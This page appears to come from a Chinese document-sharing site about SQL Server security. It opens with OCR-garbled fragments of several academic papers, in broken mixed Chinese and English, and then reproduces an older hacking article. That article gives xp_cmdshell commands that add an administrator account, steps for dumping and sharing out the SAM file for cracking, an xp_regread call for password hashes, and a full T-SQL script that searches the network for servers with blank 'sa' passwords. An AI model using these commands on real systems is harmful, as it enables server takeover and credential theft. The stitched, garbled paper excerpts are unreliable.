关于SQL SERVER的一些安全问题

合集下载

谈SQL Server的缺陷和安全策略

谈SQL Server的缺陷和安全策略
中图分类号:TP3l l . 13
一、 引言
文献标识码:C
文章编号: 1671一1440(2( 7)02一0078一02 ) X 一
i oot Mcr s f 公司的sQL s r er 因为其价格便宜、 ev 功能强
大、 容易操作等特点已经被中国中小企业广泛应用, 但是
很多小站点在相同的机器上面运行 wEB 服务器和 SQL S tr e (服务) , 的为了降低成本, e vr 目 但是这种配置使得
是不可原谅的, 等于是 自找麻烦。
Win o s 安全增强机制中获益, dw 例如更强的身份验证协议 以及强制的密码复杂性和过期时间。 , 另外 凭证委派(在多 台服务器间桥接凭证的能力)也只能在win o s 身份验证 dw 模式中使用。 在客户端, d o s 身份验证模式不再需要存 Win w
运行。 c r o 提供 NBSA 的免费下载。 Mi o f s t
3. 使用win o s 身份验证模式 dw 在任何可能的时候, 您都应该对指向sQL S r e 的连 e vr
接要求 Win o 。 d w 身份验证模式 。 它通过 限制对 M cr s f i oot
用户I 和密码, D 如果sQL服务器已 经在配置好具体的用
中国
包头
取大 学报
20 7 年 第 2 期 0
谈 SQL S r e 的缺陷和安全策略 e vr
王勤宏
( 苏州市职业大学, 江苏 苏州 2 5004 1
摘 要:文中 论述了M SQL S r e 。 S e v r 数据库安全 机制及其主 要安全缺陷。 讲述如何有效保护:SQL S r e 数据库。 详细 e vr 关健词:SQL S r er;M ;安全机制 ev BS^

浅谈SQL Server数据库的安全问题

浅谈SQL Server数据库的安全问题
io ao . retgt t nt a bs eut bcm s nipr n t i T i pp r t i edt a es ut m ca i , cs nt n r tn P t i e Ie e dt ae cr o e o a to c h a e s d s h a bs e r e hn m f u e fm i o cn h n r a s i e y a m t p . s u e t a ci y s o o h a a s e o u r Q e e dt ae c r eh n m scr .n h n s g h t ae o r r e ee srsf o co . n l i f p l L r r a b s’ e utm cai ,eut a d e i e a bs wtp f t csa e p t tn ys t p aS S v a oh s s i y s i y w u n t da h o eo h n m y a t re i y
用 数据库 , 保护我 们 的重要 数据信 息 , 为 目前 成
比较 关 注 的课 题 。
2 数据库安全
数 据 库 安 全 包 含 两 层 含 义 : 一层 是 指 数 据 第
库本身信息 盗取 。 如黑客入 侵数据库并 窃取重要
资 料 ; 者 对 数 据 库 中 的 信 息 进 行 更 改 。 第 二 层 或 是 指 计 算 机 破 坏 性 级 别 的 入 侵 。 些 网 络 上 的不 有 法 分 子 有 故 意 破 坏 的意 图 , 们 入 侵 计 算 机 使 得 他 计 算 机 硬 件 或 者 整 个 系 统 无 法 工 作 。 如 有 时 会 放 一 些 超 负 荷 的 大 量 运 算 ; 者 关 闭 C U 风 扇 , 终 导 致 计 算 机 或 P 最

关于SQL Server数据库的安全问题的思考

关于SQL Server数据库的安全问题的思考

科技资讯科技资讯S I N &T N OLOGY I N FORM TI ON 2008N O.01SCI ENC E &TEC HNO LO GY I N FO RM A TI ON I T 技术数据库通常都保存着企业,组织和政府部门的各种重要的信息,是电子商务、E RP 系统和其他重要商业系统的基础。

例如电信部门的用户记录,银行的帐户,财务的数据,这些数据库中的数据关系着企业的生命,也关系着人民群众的财产,一旦遭到破坏和丢失都会带来巨大的损失。

因此,如何保证这些数据的正确、安全、有效,一直是科学界和产业界关注和研究的重点。

SQ L Se r ve r 是微软公司开发和推广的数据库管理系统(DBM S ),在W i n-dows N T 或W i ndow s 2000下运行,是一个客户群服务器关系式数据库系统。

本文从数据库管理员的角度,分析了构造SQ L Se r ve r 数据库的安全策略的基本步骤与方法,希望更多的用户关注企业SQ L Se r ver 的安全问题,并使用其中那些策略和过程保护数据资产。

1数据库的安全机制数据库的安全性是指保护数据库避免不合法的使用,以免数据的泄漏、更改或破坏。

数据库安全机制是多层次。

具体可以划分为用户、数据库管理系统(DBM S )、操作系统(OS)、数据库(DB)四个层次对于用户部分的安全机制采用身份认证方法。

数据库管理系统则是通过访问控制保证资料安全性,任何一个用户意图控制一个对象都必须拥有相应的授权。

在操作系统级的安全控制主要侧重于文件权限保护,系统资源使用限制。

在数据库存储这一级目前大多采用加密技术,对数据进行加密,即便物理存储设备失窃后,其上存储的数据也可保证不被泄漏。

1.1身份认证数据库用户名是连接数据库、存取数据库对象的主体标记,是数据库中管理权限和控制数据访问的一种安全措施。

用户认证就是确定所要求的用户身份的正确性。

口令识别是数据库身份认证中最常用的方式。

sql server 数据库异常的解决方法

sql server 数据库异常的解决方法

SQL Server数据库异常是常见的技术问题,以下是一些可能的解决方法:
检查错误日志:SQL Server的错误日志是解决问题的关键。

出现异常时,首先应查看错误日志,了解详细的错误信息。

备份和恢复:定期备份数据库是预防数据丢失的有效方法。

如果出现数据损坏或丢失,可以尝试使用备份进行恢复。

检查数据库连接:确保应用程序能够正常连接到SQL Server。

如果连接出现问题,可以检查网络连接、防火墙设置、SQL Server配置等。

优化查询性能:如果查询性能下降,可能是因为表结构不合理、索引失效、数据量过大等。

可以考虑优化查询语句、重建索引、清理历史数据等。

检查磁盘空间:SQL Server数据库需要足够的磁盘空间。

如果磁盘空间不足,可能导致数据库无法正常运行。

需要定期检查服务器磁盘空间,并及时清理不必要的文件。

更新和修复:如果是SQL Server的bug导致的异常,可能需要安装最新的补丁或升级到新版本。

同时,也可以考虑使用修复工具来修复数据库损坏。

联系技术支持:如果自己无法解决问题,可以联系Microsoft的技术支持或社区寻求帮助。

在处理SQL Server数据库异常时,应保持冷静,根据错误信息进行排查。

同时,预防总比治疗更重要,平时应做好数据库的维护和管理,避免出现异常。

浅谈SQL Server数据库的安全机制问题

浅谈SQL Server数据库的安全机制问题

问题 , 如: 审计功 能、 访 问控 制、 身份 验证、 数据库加 密、 视 图和存储 过程机制、 备份 、 恢复和并发控 制机制等。 提 出了一些具体 的解决建议。 从 而提 高用户
对数据库 安全 防范意识 。 关 键词 : S QL s e r v e r数 据库 安全机 制 中图 分类 号 : T P 3 9 3 . O 8 文献标识码 : A
文章编 号 : 1 0 0 7 . 9 4 1 6 ( 2 0 1 3 ) 0 2 — 0 1 7 1 — 0 1
1数据库 安全的内涵
有者 用户和普通用户 , 不同的用 户具有不 同的权 限。 为 了达到管理 的便利和灵活 , S Q L S e r v e r  ̄ I 入 了角色的概念 , 可以支持基于角色的 数据 库安全是指保护数据 库 以防止非法 用户的越权使用 、 窃 对 于 具 有相 同权 限 的 用户 , 可 以 创建 一个 角色 并 对 取、 更改或破坏数据。 与其它计算机系统( 如操作系统) 的安全要求类 访 问控 制 策 略 。 其赋予权 限, 然后将这些用户添加到该 角色 中使它们成为这个角色 似。 数据库系统 的安全要求可 以归纳为保密性 、 完整性和可用性三 的成员。 若要改变这些用户的权 限, 只需对角色的权限进行设置 , 不 个方面。 必对每一个用户进行权 限设置 。 1 . 1保 密 性
n d o ws NT 认证模 式和混 合认证模 式两 种身份认 证模 式。 数据库的完整性主要包括物理完整性和逻辑完整性。 物理完整 wi 2 . 4数 据库加 密 性是指保证 数据 库的数据 不受物理故 障( 女 Ⅱ 硬件故障 、 突然断 电等) 数据库加密通过将数据用密文形式存储或传输的手段保证高 的影响 , 并有可能在灾难性毁坏时重建和恢复数据库 , 逻辑完整性 敏感数据的安全 , 这样可以防止那些企图通过不正常途径存取数据 是指对数据库逻辑结构的保护 , 包括数据 的语义完整性和操作完整 S Q L s e r v e r 也提供 了加密的功能 , 以强化对分布式数据库的 性。 前者是数据存取在逻辑上满足完整性约束 , 后者 主要是指在 并 的行为 . 安全 管理 。 S QL s e r v e r 使用名为p wd e n c r y p t 的哈希 函数来加密 隐藏 发事务中保证数据的一致性 。 用户存储 ̄Ma s t e r 数据库中系统表 内的密码 , 将 已定义的视图、 存储 1 . 3可 用 性 过程 、 触 发器 等都 存储在系统表s y s c o mme n t s 中, S Q L S e r v e r  ̄供 了 数 据 库 的 可 用 性 是 指 数 据 库 不 应 拒 绝授 权 用 户对 数 据 的正 常 内部 加 密 机 制 。 可 以使 用 wI r r HE N - C R Y P T I O N语 句 来进 行 加 密 。 操作 , 同时 保 证 系 统 的 运 行 效 率 并 提 供 用 户 良好 的 人机 交互 。

SQL server数据库连接中的一些问题

SQL server数据库连接中的一些问题

SQL SERVER数据库连接的一些问题Rainboy 整理于2012-11-16一、关于ntwdblib.dll一些编程语言连接SQL SERVER时,需要ntwdblib.dll。

比如用pb连接SQL2005或2008数据库时,可能会出现如下错误提示:unable to load the requested database interface.这不是PB的问题。

需要下载ntwdblib.dll然后将其copy到C:/WINDOWS/system32。

需要注意的是,要要保证ntwdblib.dll 这个文件的版本和sqlserver的版本对应,否则不会出现提示但就是连接不成功,会很郁闷。

下面是对应关系:1.ntwdblib.dll 版本为2000.2.8.0是对应SqlServer2000(这个是网络查资料和猜测,没装2000)3.ntwdblib.dll 版本为2000.80.194.0是对应SqlServer2005(这个是用实验证明可以用,本人就是用笔记本装了2005)4.ntwdblib.dll 版本为2000.80.2039是对应SqlServer2008(这个是猜测没有装2008)二、专用的接口文件如php连接SQLserver 需要php_mssql.dll。

*_mssql.dll可以放在应用程序目录中,也可以放到C:/WINDOWS/system32然后重启服务器。

三、配置SQL SERVER运行SQL Server 配置管理器:SQL Server Configuration Manager,打开协议Protocolsb. 允许命名管道"named pipes" 和"tcp/ip"c. 右键点击"tcp/ip",打开属性Properties 标签"IP addresses"d. 在TCP 动态端口"TCP Dynamic Ports" 填入1433e. 重启SQL Server四、常见问题总结1.Unable to connect to server确认SQLServer2005服务器正常.检查TCP/IP已经启用同时右键查看属性:已经启用是否选择是确认服务器正确之后,再确认ntwdblib.dll 文件位置是否放到了c:/windows/system32下。

浅谈SQL Server数据库的安全问题.doc

浅谈SQL Server数据库的安全问题.doc

浅谈SQL Server数据库的安全问题作者:王有伟来源:《信息安全与技术》2012年第03期【摘要】目前随着互联网的逐步发展,很多信息都是在互联网上进行交互,包括非常重要的信息。

如何保护互联网中数据库的安全,越来越成为人们关注的话题。

本文对数据库的安全机制进行了研究,重点分析目前流行的SQL Server数据库的安全机制,安全隐患,及其使用其数据库时候如何进行必要的安全保护。

【关键词】 SQL Server;数据库;安全Discussion Security Issues on SQL Server DatabaseWang You-wei(Rural Credit Cooperative of Shandong Jinan ShandongJinan 250001)【 Abstract 】 At present, with the gradual development of the Internet, lots of information is on the Internet interaction, including the very important information. Protecting the Internet database security becomes an important topic. This paper studies the database security mechanism, focus on the analysis of the popular SQL Server database's security mechanism, security, and when using the database how to perform the necessary safety protection.【 Keywords 】 SQL Server; database; security1 引言目前各种数据库的出现可谓层出不穷,而SQL Server数据库由于其优点众多,让其在数据库领域独占鳌头,成为最受用户欢迎的数据库系统。

sqlserver cve-2004-2761

sqlserver cve-2004-2761

SQL Server是微软公司的一款关系数据库管理系统,广泛用于企业级应用程序和全球信息站开发中。

2004年,SQL Server出现了一个安全漏洞,CVE编号为CVE-2004-2761。

该漏洞允许攻击者通过精心构造的SQL查询来执行未经授权的数据库操作,可能导致数据泄露、数据库瘫痪,甚至服务器被入侵。

以下是对该漏洞的详细解读:一、漏洞描述CVE-2004-2761是SQL Server的一个认证绕过漏洞。

在受影响的SQL Server版本中,当用户尝试使用FTP或HTTP上传文件时,攻击者可以通过夹带特定的SQL查询,绕过认证机制实现未经授权的数据库操作。

这种漏洞的存在可能会严重影响服务器的安全性和稳定性。

二、受影响的版本CVE-2004-2761影响的SQL Server版本包括但不限于:- Microsoft SQL Server 7.0- Microsoft SQL Server 2000- Microsoft SQL Server 2005- Microsoft SQL Server 2008三、攻击方式攻击者可以利用CVE-2004-2761漏洞,构造恶意的SQL查询,并将其夹带在FTP或HTTP上传的文件中。

当服务器接收到这些文件并解析时,恶意的SQL查询将被执行,从而导致数据库操作的未经授权执行。

四、潜在威胁CVE-2004-2761漏洞的潜在威胁包括但不限于:- 数据泄露:攻击者可以利用漏洞来获取数据库中的敏感信息,如用户账户、密码等。

- 数据库瘫痪:攻击者可能执行恶意操作导致数据库瘫痪,影响正常的业务操作。

- 服务器入侵:利用漏洞进行未经授权的数据库操作,最终可能导致服务器被入侵控制。

五、解决方案针对CVE-2004-2761漏洞,建议采取以下解决方案:1. 及时安装补丁:微软公司已发布针对该漏洞的安全补丁,建议及时对受影响的SQL Server版本进行升级和更新补丁。

2. 进行安全配置:对SQL Server进行安全配置,限制用户权限,避免恶意SQL查询的执行。

  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

关于SQL SERVER的一些安全问题原始文档:/articles/200012/18.html创建时间:2000-12-11浏览次数:237原创:xundi (xundi_at_)关于SQL SERVER的一些安全问题BY XUNDI<安全焦点>xundi@目前关于NT服务器的入侵,有很多种方法,如对IIS的漏洞进行利用,但大家不知道注意到没有,其实通过与NT服务器相关联的SQL数据库服务器的例子也是很有比例的一种手段。

大家可以参看下面的一个新闻报道:/News/1110938。

Herbless入侵破坏的一些站点,如站点就是通过SQL服务器的入侵而获得对系统的控制权而破坏的。

所以对SQL服务器的保护是必不可少的,这里我整理了一些漏洞供大家来参考,见笑,见笑。

----------------------------------------------------------------我们先来看看SQL服务程序支持的网络协议库:----------------------------------------------------------------| SQL Server Network Protocol Libraries |----------------------------------------------------------------|Protocol library| 可能存在的漏洞 | 是否加密 |----------------------------------------------------------------|Named pipes | --使用NT SMB端口(TCP139,UDP137, | 否 | |(有名管道) | 138)来进行通信,这些可以被通 | || | 的防火墙控制,但如果内部网络可| || | 随意访问的话也是一个不小的缺陷| || | --用户名字,密码和数据没有进行加| || | 传输,任何人可以通过SNIFFER来 | | | | 进行数据捕获。

| |----------------------------------------------------------------|IP Sockets | --默认状态下开1433口,你可以使用| 否 || | 扫描器来查看这个端口。

| || | 可以被SNIFFER截获数据。

| | ----------------------------------------------------------------|Multi-Protocol | --客户端需要支持NT RPCs;在不同 | 是 | | | 种类的环境中可能引起问题。

| || | --默认情况下使用TCP随机端口,但| | | | 防火墙进行端口图固定实现(参 | || | 看KB Q164667)。

| || | --需要注意加密选项是否选择,默 | || | 是不选择此选项的。

| |----------------------------------------------------------------|NWLink | --存在被SNIFFER截获数据的危险 | 否 |----------------------------------------------------------------|AppleTalk (ADSP)| --存在被SNIFFER截获数据的危险 | 否 |----------------------------------------------------------------|Banyan Vines | --存在被SNIFFER截获数据的危险 | 否 |----------------------------------------------------------------一般的推荐使用是:如果你能在Integrated (NT) Security上使用Named Pipes 或者Multi-protocol,那你就使用这些协议库,如果可能,尽量使用Multi-protocol和使能加密选项。

如果你上面几个不能使用,那就使用IP Sockets协议,并改变其默认的端口并随时检查系统保证无任何SNIFFER存在。

并且,考虑使用一WEB服务或者COM组件作为应用程序的business object layer,并在中间层和SQL服务程序中使用安全通道(secure channel)。

有不少第三方的产品可以加密这方面的通信。

-----------------------------------------------------------------------下面再讲一下SQL SERVER的各种安全模式和它们怎样进行工作?安全模式定义了一些SQL SERVER是怎样认证要使用它们服务的用户,请看下面SQL Server 6.5的安全模式和在SQL Server 7.0做了改变的一些描述和区别:-------------------------------------------------------------------|安全模式 | SQL Server 6.5 | SQL Server 7.0改变地方 |-------------------------------------------------------------------|Standard | --登陆定义在SQL SERVER里| --单独的标准模式在SQL SERVER||标准模式 | 而且给定密码。

| 没有使用了。

|| | --SQL SERVER的登录帐户与| || | WINDOW NT分开 | |-------------------------------------------------------------------|Integrated |-使用安全管理器SQL的帐 | --在这里成为"Windows NT only"||综合模式 | 户。

| 模式。

|| |-用户在连接到SQL SERVER| --只工作在NT系统下,在WIN9X不|| | 不需要特定分开LOGIN和 | 支持。

|| | 密码。

| || |-密码从不存储在应用程序| --可以直接结合到NT的组中便于 || | 中,并不以明文在网络中| 管理,(注意有一BUILTIN组在|| | 传输。

| 本地系统上产生). || |-SQL SERVER可以使用NT的| || | 的认证方式来认证用户并| || | 可以使用如帐户过期等。

| || |-需要Named Pipe或Multi-| || | Protocol库。

| |--------------------------------------------------------------------|Mixed |-提供上面的方式的一些特| --成为SQL SERVER和WINDOWS NT ||混合性方式 | 征但有后退的东西是客户| 模式。

|| | 端不能建立可信任连接。

| --尽量使用WINDOW NT ONLY模式| |--------------------------------------------------------------------登录只不过是第一步,一旦用户登录,用户必须访问独立的数据库,要使上面的成立,就必须在sysusers表里存在一表目给用户用的每个数据库。

所以安全请你注意在你的数据库中是否存在"guest"帐户和保证不会在你不注意的时候给某些人访问你的数据库。

详细的大家可以参看微软的站点:/technet/SQL/Technote/secure.asp---------------------------------------------------------------------关于SQL SERVER存在的一些安全问题:存在"sa"帐户,密码就为空,而且这个密码是SQL SERVER安全模块成员,我们就可以通过xp_cmdshell stored procedure(扩展存储过程)来进行命令操作,如:Xp_cmdshell "net user testuser UgotHacked /ADD"然后在:Xp_cmdshell "net localgroup Administrators testuser /ADD"这样攻击者就成功的在SQL SERVER上增加了一个用户。

当然远程的话,一般需要有1433口开着,通过MYSQL 客户端进行连接。

当然你也可以使用:Xp_cmdshell "rdisk /s-"的方法,这样就在\winnt\repair目录里重建了信息而不提示用户。

然后在SAM备份以后,攻击者可以建立一个SMB连接到共享或者建立一个连接:Xp_cmdshell "net share getsam=c:\winnt\repair"利用共享获得这个文件,然后在使用l0phtcrack来跑吧。

如果SMB端口被防火墙控制了,或者关闭了,攻击者也可以拷贝sam._文件到WEB目录进行匿名浏览器下载。

如果人家没有开IIS,你何不用tftp呢:).OK,通过这台被控制的SQL SERVER服务器,攻击者可以通过它来查找网络内部其他机器来扩大战果,下面是一个SQL脚本来列举网络中其他SQL SERVER存在空帐户'sa'的示例:------------------------------------------------------------------------- Create temp table to store enumerated serversSET NOCOUNT ONCREATE TABLE #temp (shelldump varchar(255))INSERT #temp EXEC xp_cmdshell 'osql -L'DECLARE @current_server varchar(255), @conn_string varchar(255)DECLARE sql_cursor CURSOR FOR SELECT * FROM #tempOPEN sql_cursor FETCH NEXT FROM sql_cursor INTO @current_server-- Loop through potential targets and check for null sa accounts-- If target is vulnerable, version information will be displayedWHILE @@FETCH_STATUS = 0BEGINIf @current_server <> 'Servers:'BEGINSELECT @current_server = rtrim(ltrim(@current_server))SELECT @conn_string = 'exec xp_cmdshell ''osql -S' + @current_server + ' -Usa -P -Q "select @@version"'''PRINT 'Attempting connection to server: ' + @current_serverEXECUTE (@conn_string)PRINT '====================================================================='ENDFETCH NEXT FROM sql_cursor INTO @current_serverEND--Clean upCLOSE sql_cursorDEALLOCATE sql_cursorDROP TABLE #TEMP----------------------------------------------------------------------当然有些人也可能关闭xp_cmdshell extended stored procedure(扩展存储过程),我们也可以使用下面的方法:xp_regread 'HKEY_LOCAL_MACHINE', 'SECURITY\SAM\Domains\Account', 'F'如果MSSqlserver 服务在本地系统帐户下运行,并且如果系统上没有安装syskey,上面的调用就可以返回注册表中加密的密码或者SID。

相关文档
最新文档